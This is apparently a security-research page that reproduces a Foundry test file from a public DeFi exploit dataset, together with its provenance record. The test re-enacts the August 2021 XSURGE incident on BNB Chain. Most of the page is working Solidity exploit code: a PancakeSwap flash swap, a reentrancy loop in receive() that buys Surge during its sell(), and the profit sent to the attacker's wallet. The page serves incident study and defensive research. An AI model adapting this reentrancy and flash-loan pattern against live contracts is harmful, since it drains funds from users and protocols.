Public reproduction file
src/test/2021-08/XSURGE_exp.sol
Public reproduction file for dataset entry XSURGE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8interface IpancakePair {9 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;11 function token0() external view returns (address);13 function token1() external view returns (address);14}16interface Token {17 function balanceOf(18 address account19 ) external view returns (uint256);21 function transfer(address recipient, uint256 amount) external returns (bool);22}24contract ContractTest is Test {25 IpancakePair ipancake = IpancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);26 WBNB wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);27 Surge surge = Surge(0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21);28 address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;29 address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;30 address public mywallet = msg.sender;31 uint8 public time = 0;32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);34 function setUp() public {35 cheats.createSelectFork("bsc", 10_087_723); // fork bsc at block 1008772336 }38 function testExploit() public {39 payable(address(0)).transfer(address(this).balance);40 ipancake.swap(0, 10_000 * 1e18, address(this), "0x00");41 // wbnb.withdraw(wbnb.balanceOf(address(this)));42 // VISR_Balance = visr.balanceOf(msg.sender);43 //emit log_named_uint("WBNB Balance",wbnb.balanceOf(address(this)));44 emit log_named_uint("Exploit completed, WBNB Balance", wbnb.balanceOf(mywallet));45 }47 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {48 wbnb.withdraw(wbnb.balanceOf(address(this)));50 (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");52 surge.sell(surge.balanceOf(address(this)));53 surge.sell(surge.balanceOf(address(this)));54 surge.sell(surge.balanceOf(address(this)));55 surge.sell(surge.balanceOf(address(this)));56 surge.sell(surge.balanceOf(address(this)));57 surge.sell(surge.balanceOf(address(this)));58 surge.sell(surge.balanceOf(address(this)));60 wbnb.deposit{value: address(this).balance}();62 wbnb.transfer(Pancake_Pair_Address, 10_030 * 1e18);63 wbnb.transfer(mywallet, wbnb.balanceOf(address(this)));64 }66 receive() external payable {67 if (msg.sender == Surge_Address && time < 6) {68 (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");70 time++;71 }72 }73}Analysis
Dataset entry
Public Foundry test for “XSURGE” (2021-08-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
4 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2021-08/Cream_exp.solSame month in the dataset · 79 lines
- src/test/2021-08/PolyNetwork_exp.solSame month in the dataset · 206 lines
- src/test/2021-08/Popsicle_exp.solSame month in the dataset · 263 lines
- src/test/2021-08/WaultFinance_exp.solSame month in the dataset · 103 lines
File record
- Name
- XSURGE
- Path
- src/test/2021-08/XSURGE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a23dc047888a6c120d0131722ec5d4f2621c6d00
- Language
- Solidity
- Size
- 74 lines
- Date
- 2021-08-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2021-08/XSURGE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a23dc047888a6c120d0131722ec5d4f2621c6d00, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.